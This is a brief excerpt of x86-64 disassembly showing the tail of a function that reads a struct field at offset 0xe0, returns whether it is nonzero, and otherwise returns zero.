ja 0x401557
mov eax, 0
jmp 0x401570
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0xe0]
test eax, eax
setne al
movzx eax, al
jmp 0x401570
mov eax, 0
add rsp, 0x20
pop rbp
ret